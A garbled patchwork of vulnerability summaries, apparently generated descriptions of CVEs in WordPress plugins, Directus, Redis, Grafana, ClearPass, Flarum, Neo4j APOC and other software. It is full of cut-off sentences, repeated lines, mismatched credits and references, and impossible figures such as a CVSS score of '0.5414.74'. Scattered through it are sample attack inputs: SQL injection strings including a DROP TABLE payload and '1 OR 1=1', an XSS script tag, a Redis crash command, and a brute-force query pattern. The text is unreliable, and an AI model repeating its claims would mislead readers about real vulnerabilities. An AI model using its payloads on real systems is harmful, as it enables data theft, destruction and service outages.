[ss.org/browser/wp-popup-banners/trunk/wp-popup-banners.php#L243](https://fedoraproject.org/wiki/Security/SSO) and <https://plugins.trac.wordpress.org/ticket/1234> would target the WP Popup Banners plugin's vulnerable 'banner_id' parameter by injecting malicious SQL queries. If the input is not properly sanitized, this query could be executed by the server's database, leading to data exposure, database operations, and potentially giving the attacker elevated privileges within the application or the system.

cepted a username, an attacker might input something like 'admin'; DROP TABLE users;-- which, if not properly validated and parameterized queries can help prevent SQL injection attacks.

of vulnerabilities.

making it a post-authentication vulnerability.

'ordPress.

manipulation or the compromise of the affected WordPress website.

s-site-request-forgery-csrf-vulnerability?_s_id=cve

website, includes a script that performs an action such as modifying database content via the vulnerable database queries over the network due to insufficient input sanitization. This could potentially lead to unauthorized access to user accounts, data breaches, and exploitation of potentially sensitive information.

There is no impact on the availability and integrity of the application.

fa865ea4-167e-0010-bca6-c68f7e60039b.html'.

input sanitization by sending specially crafted malicious database queries to the application. This could potentially lead to unauthorized access to user accounts, data breaches, and exploitation of potentially sensitive information.

A flaw was found in the password storage process of Shield version 1.0.0-beta.3 and earlier, which did not include SHA-384 hash without salt from another source. The flaw resides in an improper implementation of the password hashing mechanism to the database. This action is necessary because passwords stored using the vulnerable method could lead to unauthorized access to user accounts, data breaches, and exploitation of potentially sensitive information. This was fixed in the official CodeIgniter Shield GitHub repository, particularly the 'develop' branch's UPGRADING.md file after users' hashed passwords post-upgrade.

By obtaining such a hash, the attacker could leverage the weakened password storage method of Shield v1 to gain unauthorized access to user accounts, data breaches, and exploitation of potentially sensitive information. This could potentially be exploited to gain access to the hosts of the backup infrastructure.

This vulnerability was identified by Veeam Software. They may have provided guidance or solutions to mitigate the vulnerability. Users should refer to the Veeam documentation for more information.

Time of publication:

2023-07-10T10:00Z

This vulnerability was identified by Superkojiman. They may have provided guidance or solutions to mitigate the vulnerability. Users should refer to the Veeam documentation for more information.

Version affected: Directus 9.16.0

This vulnerability was identified by Superkojiman. They may have provided guidance or solutions to mitigate the vulnerability. Users should refer to the Veeam documentation for more information.

This vulnerability was identified by Superkojiman. They may have provided guidance or solutions to mitigate the vulnerability. Users should refer to the Veeam documentation for more information.

This vulnerability was identified by Superkojiman. They may have provided guidance or solutions to mitigate the vulnerability. Users should refer to the Veeam documentation for more information.

cts systems that use an allow-listed reset URL and is due to the possibility of an HTML injection attack :loit this by sending emails containing malicious code but appearing to originate from the server's dom or scripts, which might lead to user deception, website defacement, phishing, or as a part of a cross-si

_allow list as an interim workaround to prevent the exploitation of this vulnerability.
issues/17119, the pull request that addressed the vulnerability at <https://github.com/directus/directus>.
es of the vulnerability relate to manipulating the URL with query parameters to inject HTML or scripts, security patches.

nt. This vulnerability allows for unrestricted upload, meaning an attacker could upload files to the serv
ploits such as code execution, data leaks, or other malicious activities. The exploit allows attackers to l
elease this information to exploit the vulnerability.

uldb.com/?id.222356
web shells for remote code execution, defacing the website, initiating phishing campaigns, stealing sen

is can allow the attacker to bypass access controls such as firewalls, and potentially access sensitive in
DNS rebinding attack, allowing them to bypass security controls, access sensitive data from internal se
ort scan to discover additional services running on the local network.

616884833ddbf- Release: <https://github.com/directus/directus/releases/tag/v9.23.0>- Security Advisc
' address after a certain period. Using DNS rebinding, the attacker could cause the Directus server to s\

sue at <https://jira.xwiki.org/browse/XWIKI-19523>.

ce the vulnerability allows execution of arbitrary database SELECT queries, the attacker could retrieve
systems by updating to a patched version of XWiki Platform to prevent such exploitation.
3-26473. They should also review user permissions and monitor their systems for any unusual activity
; specially crafted `SRANDMEMBER`, `ZRANDMEMBER`, and `HRANDFIELD` commands, which can caus
e potentially vulnerable.

e619- Release notes for version 6.0.18: <https://github.com/redis/redis/releases/tag/6.0.18>- Release n
'ould lead to a runtime assertion failure, causing the Redis server to terminate. As a result, an attacker
service results in a Denial of Service (DoS) as the database becomes inaccessible to all users.

er for the `count` parameter, such as `SRANDMEMBER key 2147483647` (or another crafted large num

In the core plugin 'Text' during an internal audit on January 1, 2023. The issue was found to be in the same Text panel and click on 'Markdown' or 'HTML'. At this point, the malicious code would execute, possibly be affected.

panel, the script is executed, which might lead to unauthorized actions such as account takeover, pass-

malicious JavaScript snippet such as <script>alert('XSS');</script> into a Text panel within Grafana, which provided in the initial information include links to Grafana's blog, GitHub commit, GitHub security advisory. Furthermore, another user with sufficient privileges must then interact with the compromised Text panel by string matching commands like 'SCAN' or 'KEYS' with a specially crafted pattern, which triggers a denial

cause the service to hang and use up 100% of the CPU resources.

event the exploitation of this vulnerability.

In Vulnerability Scoring System (CVSS).

the 'KEYS' or 'SCAN' commands which could cause Redis to enter an infinite loop or perform excessive CPU power, which could disrupt the availability of critical applications dependent on the Redis

<https://github.com/redis/redis/commit/dcbfcb916ca1a269b3feef86ee86835294758f84> and the security advisory, if an invalid hash is stored in the password database, it might allow any submitted password to

alid, an attacker could potentially log in to a user account without knowing the correct password, leading to <https://github.com/redis/redis/commit/dcbfcb916ca1a269b3feef86ee86835294758f84#commitcomment-481744> and the GitHub security advisories page at <https://github.com/php/php-src/security/advisories> erroneously due to the vulnerability in the affected PHP versions. Here's a hypothetical example (might be a real one): Once they have access to the hashes, they could replace a legitimate hash with an invalid one that is tracked in the system. Details are not provided with the CVE listing.

leads directly to the database via the 'course-update.php' file in the 'assessments' section of the application, potentially giving them unauthorized access to sensitive data in the database or allowing them to execute SQL code. If the input is not properly sanitized by the application, the attacker's SQL code can be executed by the database.

1 (CVSS) or that the score has not been provided in the shared details.

or modification of existing records that could lead to data loss or integrity issues; and compromising the application, potentially giving them unauthorized access to sensitive data in the database or allowing them to execute SQL code. If the input is not properly sanitized by the application, the attacker's SQL code can be executed by the database.

allow an attacker to perform actions on behalf of an authenticated user, such as updating list column data.

https://wpvulndb.com/plugins/2-4-5-cross-site-request-forgery-csrf/_s_id=cve.

This exploit allows an attacker to update a list column in the Participants Database when visited or clicked by a victim who is authenticated in the affected WordPress site. Since responsible disclosure practices are encouraged, it is not appropriate to provide details on how to exploit this vulnerability. The reason stems from the fact that the application stores passwords in cleartext within a local database. This enables an attacker to steal passwords without requiring additional decryption or hacking techniques. This could potentially allow the attacker to unauthorized access to users' accounts, data theft, privacy violations, and potentially even financial gain. In one scenario, an attacker could borrow, steal, or find a lost device and use tools to read the local application's configuration files. <https://wpvulndb.com/cert-xlm-advisory/CVE-2022-34910> which provides details and possibly mitigation strategies. Additionally, there is an attack that can enable an attacker to bypass authentication mechanisms of the application and retrieve sensitive information.

lly leading to unauthorized access to the database and manipulation of data.

The application's associated database. This could compromise the integrity and confidentiality of the data

led in the references are: <https://excellium-services.com/cert-xlm-advisory/CVE-2022-34909> and <http://excellium-services.com/cert-xlm-advisory/CVE-2022-34909>. In this scenario, if the 'user_input' is not properly sanitized, it could lead to an SQL injection vulnerability. The statement that the application inadvertently executes is: `ELECT * FROM users WHERE username = " + user_input + ";` This could involve inputting a string that ends the statement, such as a semicolon or a comment character, which would then be executed by the database.

Perform actions on behalf of logged-in users, steal session cookies, or redirect users to malicious websites.

commit/4637eaf9ea530193e0897ec48899f5638bdd6d81- <https://github.com/ZoneMinder/zoneminder>. In this commit, the referrer is logged in the database without proper sanitization. Later, when the administrator reviews the logs, they might see a referrer from version 1.0.1, which could lead to a Denial of Service (DoS) as a user can manipulate a cookie value to influence the log entry.

ma separated list of atoms, is not properly sanitized before being used in a SQL query. An attacker can inject arbitrary SQL code into the database.

value. When a user with this cookie visits packages.gentoo.org, the SQL command is executed, which results in a Denial of Service (DoS).

key to drop the 'search_history' cookie or sanitize the value of the 'search_history' cookie after base64 decoding it.

commit at <https://gitweb.gentoo.org/sites/soko.git/commit/?id=5ae9ca83b735804f2bd405592983a7>: The MD5 hash of the commit has not been calculated for this CVE at the time of the provided information.

If an application encounters a special `'_type` field in a JSON document, there is a risk that an unsafe object could be loaded. This is not 100% guaranteed when using `Object` type, and the vendor indicates that a future major version will be reviewed directly from the resources available in the vendor advisory.

If an application deserializes this JSON, it might inadvertently load and execute the attacker-controlled code within the application.

ADA server's database web port.

?pe=Security+and+Safety+Notice&p_File_Name=SEVD-2023-045-01.pdf.

white or carriage return characters, that if logged as-is, can disrupt the log file format or introduce malicious disruption. This vulnerability affects all versions of the MongoDB .NET/C# Driver up to and including version 2.19.0, which runs on a Windows host using the full .NET Framework, not .NET Core. 3) The application has a domain restriction to ensure they are not serializing data using `_t` without validation and are adhering to MongoDB best practices.

code to ensure they are not serializing data using `_t` without validation and are adhering to MongoDB best practices.

<https://jira.mongodb.org/browse/CSHARP-447>: The application is written in C#, runs on the full .NET Framework on a Windows host, and has a domain restriction to ensure they are not serializing data using `_t` without validation and are adhering to MongoDB best practices.

base (NVD) or other trusted sources.

icient preparation in the SQL query. As a result, attackers with administrative privileges can extend the

ty details.

· vulnerable 'id' parameter in the WP Coder plugin. By manipulating the time-sensitive queries, they cc

he system or network, based on the attacker's ability to recover user passwords.

st patches and mitigation steps regarding this specific vulnerability.

ssified by the Common Weakness Enumeration (CWE) system as CWE-916. This vulnerability could allc
ie to the insufficient computational effort required to calculate the password hashes. This could poten

d be prudent for administrators to review their password storage policies and ensure that strong hashi
e complex malware. Users running outdated versions of this software are potentially at risk from this v
VSS scoring resources or the vendor's advisory.

gation instructions, and any available patches for the vulnerability.

erability found in the apoc.import.graphml procedure of the APOC core plugin. This vulnerability affect
entities to be resolved. This could enable attackers to read local files, send HTTP requests, or perform
· permissions of the user running the Neo4j database, it could potentially lead to the exposure of impo
g to a local file, then use that entity within data elements in the GraphML file. When the apoc.import.g
used in their systems. Specific configurations can be applied to limit allowed procedures and thus red
The patch can be found in the release section of the APOC GitHub repository, or directly by referring to
es given their level of access. Additionally, it was noted through local testing that improperly formatte

TimescaleDB handles the creation of a telemetry job during installation, which is executed as the insta
· telemetry job created during installation can execute queries that might include functions created in

upgrading to TimescaleDB version 2.9.3, which contains a fix for the vulnerability, is also recommende

access, data manipulation, or even full control over the database environment.

repository, specifically on the release page and the pull request: <https://github.com/timescale/timescale>. If the user could then get a database superuser to install TimescaleDB. When the telemetry job runs, it t
t is exploitable through an unsecured 'search_path'. It also includes suggestions for mitigation, inform

Moreover, it could expose user credentials from client-specific tables of the database, leading to a hi

3281724 and <https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.htm>. The attacker then uses this access to siphon off sensitive data, including user credentials from the database.

of version 3.0.

jud_Android_app/.

leading to information disclosure or even manipulation of the database.

remote attacker to execute arbitrary SQL commands, potentially affecting the confidentiality, integrity,

the SQL statements could be executed by the database engine, leading to unauthorized access or manip

ty. Dell Pak for Data. This could result in a compromise of data confidentiality, integrity, and even potentially

these references can be found in the CVE details.

update software to the latest versions and promptly apply security updates. Additionally, input validation in vulnerable Python code using Flask and SQLite from flask import Flask, request import sqlite3 app = Flask(__name__). forms. By doing so, they could retrieve sensitive data from the database, such as user credentials or

ity allows for information disclosure, whereby a local malicious user with low privileges could exploit

nerability to view and modify information stored in the application's database, potentially leading to f

d steps towards resolution.

If of concept (PoC) or demonstrate the nature of the flaw in a controlled environment for educational

int. Once they have access, they could exploit the information disclosure vulnerability in Dell Support

1, and 7.0.4.1 of ActiveRecord. It allows a malicious user to inject SQL code through the `annotate` que

inadequate sanitization, the input may be injected into the database outside of the comment boundarie

ser.all.annotate(user_input).to_a``` In this example, if `user_input` contains a malicious SQL comment,

n-vulnerability-via-activerecord-comments/82117) and a security advisory from Debian (<https://www.debian.org/security/2017/dsa-3748>)

administration operations on the database (such as shutdown the DBMS), recover the contents of a g

g and managing the APROL database. This vulnerability potentially allows unauthorized users to read

cess to sensitive information, modify system configurations, and potentially take control of affected sy

74823095245-en-original-1.0.pdf.

lishing.

authentication. Once connected, the attacker could issue database commands to read sensitive system data or settings. An attacker could exploit the vulnerability remotely if network access is available, leading to privilege escalation. This issue could allow an attacker with access to the database to obtain user passwords.

An attacker who successfully performs a password reset can read the database content during the OAuth2 setup, they could steal user passwords and potential information. This vulnerability compromises the confidentiality and integrity of the users' data and privacy. A security advisory at <https://github.com/nextcloud/security-advisories/security/advisories/GHSA-g86r-x75>

versions, specifically on certain versions prior to the specified updates.

GA-01-22261, V2.5-GS, or V2.5-GS-01-22261 as appropriate.

?&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-347-01_Easy_UPS_Online_Monitoring

database. Since the credentials are hard-coded into the software, they can be predictable or obtained through reverse engineering.

?&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2023-010-02_Geo_SCADA_Security_Notification

may exploit the vulnerability to gain access to sensitive information that is not intended for them. These specific messages are sent to the server over the database server TCP port.

?&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2023-010-02_Geo_SCADA_Security_Notification

the database server TCP port. By doing so, the attacker could disrupt the service provided by the server, leading to unauthorized disclosure and security practices. Additionally, providing code examples for exploiting vulnerabilities.

Unauthorized viewing, altering, or the potential for data loss. Due to the lack of proper authorization check, an attacker can connect to a database and sets up a new datasource with a MySQL data source including malicious parameters.

attacker executing arbitrary code on the system where Apache Linkis is running, potentially leading to

malicious MySQL JDBC URL. If the JDBC URL includes carefully crafted parameters that exploit the desired data.

remote attacker to exploit the system by injecting arbitrary SQL commands. These commands could be

. code on the database.

password but does not sufficiently escape or parameterize SQL queries, an attacker might input some

Security Response Team (TW-CERT), available at the URL <https://www.twcert.org.tw/tw/cp-132-6885-d67>. If the user inputs specially-crafted SQL code that manipulates the authentication query, potential information disclosure issue that exists in multiple versions of Pgpool-II across several series, including the 4.1 series, and 4.0.0 to 4.0.21 in the 4.0 series. Additionally, all versions of the 3.7, 3.6, 3.5, 3.4, and 3.3 series are affected. This can lead to unauthorized access to the database or cause the database to suspend operations. Such unauthorized access poses a significant security risk. The official Pgpool-II website and associated news resources for announcements about security updates and fixes can be found at <http://pgpool.net/en/jp/JVN72418815/> and https://www.pgpool.net/mediawiki/index.php/Main_Page#News.

g application logic. With these credentials, the attacker could log in and perform unauthorized actions established, which helps indicate the severity of the vulnerability.

execute arbitrary SQL commands.

Data access, data manipulation, and in certain cases, control of the affected system if the SQL injection

their system is updated to a version that addresses this vulnerability, as detailed in the advisories from JVN VU97195023/ and the advisories released by Contec, available at <https://www.contec.com/api/dc>. Since the system is vulnerable to SQL injection, these queries could be executed by the database

a large amount of data.

in the `beta` and `tests-passed` branches.

exposure to excessive data flooding.

<https://github.com/discourse/discourse/commit/d5745d34c20c31a221039d8913f33064433003ea-> https://github.com/discourse/discourse/commit/d5745d34c20c31a221039d8913f33064433003ea-. DoS attack since only administrators can read back the reasons, it could still cause unnecessary data blocks.

readonly mode. One of the accessible files contains tables with MD5 hashed passwords and usernames

for readonly access to sensitive files.

be exploited by attackers to potentially gain further access or to conduct other malicious activities.

em to retrieve MD5 hashes of user passwords. If the attacker can successfully crack these hashes, they can manipulate the XML configuration file to add an export trigger. This allows the attacker to potentially add an export trigger to the configuration file. This trigger can be set to automatically export the database contents. Once the attacker has achieved the level of access required to write to the XML configuration file on the local PC, they can use password cracking tools. The attacker could then locate the KeePass XML configuration file and insert an export trigger that only runs on file for trusted users only. Additionally, maintaining updated antivirus and anti-malware software can help protect against such attacks.

Another notable vulnerability was discovered in Redis versions 6.2.9 and 7.0. A bug in the `HRANDFIELD` and `ZRANDMEMBER` commands could lead to assertion failures when issued with specially crafted arguments.

Upgrading to a newer version of Redis or applying security patches is the recommended course of action.

A detailed analysis of this vulnerability can be found in the Security Boulevard article at <https://securityboulevard.com/2023/01/keepass-password-randomization-failure/>.

Redis 6.2.9 release notes (<https://github.com/redis/redis/releases/tag/6.2.9>) mention a bug where `HRANDFIELD` and `ZRANDMEMBER` commands could fail with an assertion error when given malicious arguments. This could lead to denial of service or allow an attacker to exploit the server's memory management.

Redis 7.0 release notes (<https://github.com/redis/redis/releases/tag/7.0.0>) mention a bug where `HRANDFIELD` and `ZRANDMEMBER` commands could fail with an assertion error when given malicious arguments. This could lead to denial of service or allow an attacker to exploit the server's memory management.

Redis 6.0.17 release notes (<https://github.com/redis/redis/releases/tag/6.0.17>) mention a bug where `HRANDFIELD` and `ZRANDMEMBER` commands could fail with an assertion error when given malicious arguments. This could lead to denial of service or allow an attacker to exploit the server's memory management.

Security advisories for Cisco Unified Communications Manager (CUCM) 9.5.2 and later versions have been released to address this issue. These advisories provide instructions for mitigating the risk of denial of service attacks.

If a logged-in user accesses this URL, the malicious script executes within the user's browser, in the context of the application. An attacker can otherwise intercept and modify the user's traffic.

Cisco Unified Communications Manager (Unified CM SME) allows an authenticated, remote attacker to perform SQL injection attacks on the database. This could involve inserting malicious SQL code into input fields, such as login forms or search queries, which would enable the attacker to access sensitive information, manipulate data, or elevate their privileges within the system.

The advisory for Cisco CUCM (Cisco-CUCM-SQL-RP-PCZ-R8N) provides instructions for mitigating the risk of SQL injection attacks.

An attacker can exploit this vulnerability by crafting URLs that contain malicious SQL code. The specific attack vector depends on the specific application setup, which attackers would inject into vulnerable input fields. Such attacks can lead to unauthorized access to user credentials, system configuration details, or call records.

Attackers can also exploit this vulnerability by injecting malicious SQL code into input fields, such as login forms or search queries, which would enable them to access sensitive information, manipulate data, or elevate their privileges within the system.

Attackers can exploit this vulnerability by crafting URLs that contain malicious JavaScript code. The specific attack vector depends on the specific application setup, which attackers would inject into vulnerable input fields. Such attacks can lead to unauthorized access to user credentials, system configuration details, or call records.

Attackers can also exploit this vulnerability by injecting malicious JavaScript code into input fields, such as login forms or search queries, which would enable them to access sensitive information, manipulate data, or elevate their privileges within the system.

the server.

validation and sanitization of untrusted input that is to be used in HTTP header fields.

Asynchttpclient()let username = getRequestParameter("username") // Potentially untrusted input! It is legitimate. 2. An attacker passes in an HTTP request through user input, resulting in the server handling d-coded passwords for certain users within the application's database, which could potentially allow a

s the attacker unrestricted access, which could lead to unauthorized access to sensitive data, modification

without the need for additional exploitation techniques if the attacker discovers or is aware of the hardeningability, but in this case, it has not been provided or calculated yet.

ories/icsa-23-012-01.

any vendor-provided security best practices, including changing default passwords and securing database. The issue lies within the application's design, where certain user accounts are coded with fixed password location data, disrupt the Real-Time Location Services by changing configuration settings, or even use

teraction, suggesting phishing or social engineering techniques could be utilized as part of the attack to gain access to the RDBMS Security accessible data.

the RDBMS Security accessible data.

base administrator into performing specific actions that allow the attacker to gain unauthorized access to the RDBMS Security accessible data. This is a notable vulnerability that allows a low privileged attacker with Create Session privilege and network ac

.) and low privileges required (PR:L), without user interaction (UI:N), having a scope unchanged (S:U), and

lata redaction policies to read sensitive information that should have been redacted from query result
ity can lead to sensitive information being exposed, potentially leading to privacy violations, data theft

; low (AC:L), it requires low privileges (PR:L), no user interaction (UI:N), it has a scope that is unchange

; the attacker could create a malicious procedure that consumes excessive system resources or disrupt
AP Injection due to improper sanitization of the 'username' POST parameter, which could allow an attac
e security context of the application.

; information, performing denial-of-service attacks, or possibly even authenticating as other users if th
ct thorough input validation and encoding on the server side to prevent LDAP Injection vulnerabilities.
ferences for any updates or patches related to this particular vulnerability.

on fails to properly sanitize the inputs, an attacker can manipulate these statements to execute arbitra
If the application does not sanitize user input correctly, the injected code could be executed. For insta
ipulate LDAP queries to retrieve sensitive information or otherwise manipulate the LDAP directory in t

:ctory-and-openldap-ntlm-kerberos-login-5-0-2-other/.

queries using unsanitized input from the user such as `SELECT * FROM table WHERE id = ' + user_input`
attack, potentially allowing unauthorized access to the database, data theft, data manipulation, or by|

are incorrectly rendering user input without proper sanitization or encoding, which are then executed
er sanitization. When another user with the necessary permissions to view the data form accesses the
ect subqueries into WHERE and HAVING clauses, potentially accessing data from tables that they shou

read access could potentially retrieve data from tables beyond their access level permissions.

inject additional subquery logic, despite the restriction imposed by the 'ALLOW_ADHOC_SUBQUERY' flag. As a result, administrators are advised to refer to Apache's official documentation and security advisories for more information.

nd vulnerability databases like vuldb.com.

Injection, or loss, potential website defacement, and possibly, in severe cases, the attacker can gain administrative privileges as specially formatted SQL statements. These statements would be injected through the web application, which provides more information about the security issue.

DoS (Denial of Service) when a database error is triggered multiple times.

DoS, but typically this would involve inputting or querying data in such a way that it causes the application to crash. Administrators are advised to upgrade their Nextcloud Server to version 1.6.5, 1.7.3, or 1.8.2 to remediate the issue.

lvisory at <https://github.com/nextcloud/security-advisories/security/advisories/GHSA-93j5-wx4c-6g88>

ild allow a malicious actor to potentially create files outside the intended directory.

Access to an authenticated client or via a Cypher injection vulnerability in an application configuration.

ries can still pose a security risk to the system.

with a malicious file path. For instance: CALL apoc.export.csv.query('MATCH (n) RETURN n', '/var/lib/n

.1ef0fdd69b522 and the security advisory at <https://github.com/neo4j-contrib/neo4j-apoc-procedures>

s control for all new replies.

successfully create a reply as the API will error out when inserting user ID 0.

rum's email settings.

ible.

missions or when the thread is locked, leading to spam or unauthorized communication. Since this can be transmitted in an unencrypted form, in a database that could potentially be accessed by the host or network, they are not adequately protected, and with the right tools or knowledge, an attacker could intercept and manipulate the messages.

stored. The attacker might use reverse engineering or other techniques to de-obfuscate the password mitigation step, users could regularly update their passwords and monitor their systems for unusual activity. The notifications feature, bypassing the intended access controls.

The application's subject to the receiver and sends notifications, including emails, regardless of the access rights of third-party extensions.

Please update to this version as soon as possible.

Temporary workarounds, and upgrading to Flarum version v1.6.3 is still the recommended solution.

7d3dae9a0d77b610b1cb1d0b1766a- <https://github.com/flarum/framework/security/advisories/GHSA-7d3dae9a0d77b610b1cb1d0b1766a> This issue affects versions up to and including 1.7. An attacker with administrative privileges can

sensitive information or manipulation of database data.

SQL commands. For example, if the vulnerable 'orderby' parameter is part of a URL, it could look something like '?...>', and the Wordfence threat intelligence report at '<https://www.wordfence.com/threat-intel/vulnerabilities/236208>'

Check the WordPress plugin repository or the plugin's official website for the latest version and apply the update, which allows users to mention any post using a specific syntax. The vulnerability involves leaking sensitive information in discussions, including posts awaiting approval, in restricted tags, or in private discussions. The attack

can be mitigated by updating to Flarum version v1.6.3.

within private discussions. Additionally, by extracting discussion IDs, an attacker can reconstruct original SQL statements and insert them into the application. This could result in unauthorized viewing, adding, modifying or deleting data. By sanitizing input fields, these SQL statements can be inserted directly into database queries, giving the attacker control over the database, potentially leading to service disruption, data breaches, and a compromise of data integrity and confidentiality.

Review and strengthen input validation checks to ensure that SQL statements are properly sanitized before execution. <https://www.xforce.ibmcloud.com/vulnerabilities/236208>.

This issue arises from the misuse of the Ransack library, which can lead to sensitive information such as bank account numbers being exposed through character-by-character brute-force attacks to exfiltrate sensitive string values from associated database tables.

b0a69bc807b2b7. Note that this patch alone is not enough; it needs to be accompanied by the Rails 5.1 update when applied in isolation, as the application needs to be compatible with the changes introduced in Rails. During the brute-force process, they can gradually leak sensitive data such as bank account numbers and password hashes.

construct a series of requests like `/users?search[bank_account_end]=1`, incrementing the final digit from 74 and could have allowed an attacker who persuaded a user to install a malicious extension to potentially lead to a denial-of-service condition.

ted HTML page to trigger heap corruption, which occurs due to a use-after-free error, potentially leading to a denial-of-service condition. The Chromium issue tracker: <https://crbug.com/1385831> - Gentoo Linux

phishing techniques or social engineering to convince the user to install this extension. Once active, the extension can exploit a vulnerability in the browser's rendering engine to crash it. The bug was assigned a CVSS score of 0.5414.74. If exploited, it could allow an attacker who has managed to persuade a user to install a malicious extension to gain control of the user's system.

specially crafted HTML page to exploit heap corruption, which could lead to arbitrary code execution via a denial-of-service condition. The Chromium bug tracker at <https://crbug.com/1385709> - Gentoo Linux

capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity. Organizations should update their software to the latest versions to protect against known vulnerabilities.

BNQPOYGVLTQIDLM5XD2A/ and <https://phabricator.wikimedia.org/T320987>.

on or unavailability of the MediaWiki service for legitimate users, essentially resulting in a denial of service condition.

involves making calls to the affected feature in a way that produces inefficient database operations. The feature is present in version 10.0, specifically version 810. This vulnerability allows an unauthorized attacker to potentially execute malicious SQL statements that control a web application's database server, leading to unauthorized access by altering or corrupting data, and potentially, the attacker could delete data, causing denial-of-service as mentioned in the referenced SAP notes and documents. Additionally, organizations should follow SAP note 3275391, which likely provides detailed information on the vulnerability and instructions for patching.

ction due to improper handling of the 'region' argument.

prevent exploitability.

base.

authorized access to the database, data theft, corruption, or deletion. An attacker could also potentially review the commit changes and apply the patch to secure the vulnerable application.

Scoring System (CVSS).

on' parameter that undermines the application's data sanitization processes. An exploitation snippet might look like this:

manipulate SQL queries to gain unauthorized access to the database or interfere with database operations.

, and on Vulcan Database at <https://vuldb.com/?ctiid.217551> and <https://vuldb.com/?id.217551>. Unauthorized viewing or extraction of data, tampering with existing data, escalating privileges within the database, or even file contents located on the database server, contingent upon the level of privilege held by the user. Attackers may exploit this vulnerability to read or modify sensitive data, destroy data, or use the command in an error message, potentially exposing sensitive data from the database or file contents on the database server. In some cases, the attacker may be able to read data from the database or even file contents located on the database server, contingent upon the level of privilege held by the user. However, if the user has higher privileges that allow reading filesystem content, the disclosure of sensitive data can be avoided. This might be just data from the ClearPass Policy Manager cluster.

This could include query results that the attacker should not have access to. This might be just data from the ClearPass Policy Manager cluster.

ClearPass Policy Manager cluster.

A-PSA-2022-020.txt.

fields, URL parameters, or other input vectors of the web-based management interface, in an attempt to gain unauthorized access to the management interface and using network segmentation can also help reduce the risk of an unauthenticated remote attacker to log in and exploit any input fields or data submission forms vulnerable to SQL injection. By sending crafted SQL queries through the interface, the attacker could potentially obtain and modify sensitive data, leading to unauthorized viewing or extraction of data, tampering with existing data, escalating privileges within the database, or even file contents located on the database server, contingent upon the level of privilege held by the user. Attackers may exploit this vulnerability to read or modify sensitive data, destroy data, or use the command in an error message, potentially exposing sensitive data from the database or file contents on the database server. In some cases, the attacker may be able to read data from the database or even file contents located on the database server, contingent upon the level of privilege held by the user. However, if the user has higher privileges that allow reading filesystem content, the disclosure of sensitive data can be avoided. This might be just data from the ClearPass Policy Manager cluster.

An attacker could potentially modify this information, which could lead to compromised accounts, all of which are affected by the vulnerability—higher than 6.10.7 for the 6.10.x branch, and higher than 9.2.1.40179 for the 9.2.x branch. This could escalate to a complete compromise of the affected ClearPass Policy Manager cluster.

on their security advisory on January 5, 2023.

SQL injection vulnerability by sending crafted SQL queries through the interface. If successful, the attack can be mitigated by using network segmentation and applying patches to the affected ClearPass Policy Manager cluster. The patch for this vulnerability is available in the ClearPass Policy Manager 6.10.7 and later branches, and in the ClearPass Orchestrator 9.2.1.40179 and later versions. It is recommended to apply the patch as soon as possible to prevent potential attacks.

An unauthenticated remote attacker to conduct SQL injection attacks, potentially obtaining and modifying sensitive data, leading to unauthorized access to sensitive information. This could escalate to a complete compromise of the affected ClearPass Policy Manager host.

The patch for this vulnerability is available in the ClearPass Policy Manager 6.10.7 and later branches, and in the ClearPass Orchestrator 9.2.1.40179 and later versions. It is recommended to apply the patch as soon as possible to prevent potential attacks.

The attacker might send specially crafted data inputs that are not properly sanitized by the system, leading to SQL injection attacks. This could escalate to a complete compromise of the affected ClearPass Policy Manager host.

.40110 and below, Orchestrator 8.10.23.40015 and below, and any older branches of Orchestrator not
pecially crafted SQL queries to manipulate the database, extract sensitive information, alter data, or ta
can allow an authenticated remote attacker to perform SQL injection attacks, which could potentially
nd below, and any older branches of Orchestrator that have not been specifically mentioned.
lead to obtaining unauthorized access to data or even complete compromise of the Orchestrator host.

rprise Orchestrator. Once authenticated, the attacker could then craft a malicious SQL query and subr
nauthenticated remote attacker to perform SQL injection attacks, potentially leading to the compromise of
nd below, and any older branches of Orchestrator that have not been specifically mentioned.
aliciously crafted inputs via the interface, which are not properly sanitized by the system, allowing atta
y result in a full compromise of the affected Orchestrator host.

SA-2022-021.txt.

hese credentials, the attacker logs into the management interface and intercepts the communication t
er needs to have valid credentials or must have otherwise bypassed authentication mechanisms to lev

ow, Orchestrator 8.10.23.40015 and below, as well as any older branches of Orchestrator not specifica
uld enable the attacker to retrieve or modify sensitive data in the underlying database, potentially lea
EdgeConnect Enterprise Orchestrator.

nerabilities associated with CVE-2022-43519.

at <https://www.ibm.com/support/pages/node/6852453>.

3M Sterling B2B Integrator Standard Edition interacts with this page or email, the SQL code is executed
able to review database permissions and ensure that least privilege principles are applied to reduce th
ately validating user input, which allows a remote attacker who is authenticated as a general user to ir

egrity, availability, or confidentiality of the affected database. Specifically, the attacker could access se

-132-6829-11133-1.html.

put field meant for the Download function, crafting a malicious SQL statement. For example, if the input is a database.

authenticated remote attacker to perform SQL injection attacks on the system's database, potentially allowing them to manipulate the database queries executed by the system's backend.

In the user input, in an attempt to manipulate the database queries executed by the system's backend. From an API parameter that is not properly sanitized: `user_input = '1 OR 1=1'`. Constructing the SQL query.

ipulating the API parameters that lack proper input validation, the attacker could inject SQL code into the execution page of the platform. This type of vulnerability could potentially allow attackers to execute arbitrary SQL commands.

malicious JavaScript code that would run in the context of the victim's browser session when interacting with the platform) and a link to the specific issue that details the vulnerability (<https://github.com/WeBankPlatform/wecube/issues/145>). If a user clicks the link while logged into the WeCube platform, the malicious script executes in their browser. For instance, if the vulnerable page reacts to URL parameters and the malicious payload is passed to the user, it allows the user to execute arbitrary SQL commands with the privileges of the database administrator, which

This may lead to the execution of arbitrary code, thereby compromising the security of the system and platform. Reference: <https://github.com/WeBankPlatform/wecube/issues/145>. Vulnerability ID: CVE-2022-46763. Published by SolidLab, a cybersecurity firm: <https://solidlab.ru/our-news/145-trueconf.html>.

by crafting malicious SQL queries that are passed to the vulnerable stored function. Since the function

licious users with at least author privileges to extract sensitive information from the site's database.

ntS' POST parameter, which before being properly sanitized, gets concatenated to an SQL query leading to a SQL injection vulnerability. These references provide additional details and context regarding the vulnerability.

gain unauthorized access to sensitive data in the database, such as personal user details, passwords, or financial information. Failure to properly escape the 'cg_order' POST parameter before it is incorporated into an SQL query. A

lisclosure of sensitive information from the site's database, which might include user personal data, credit card numbers, and login credentials.

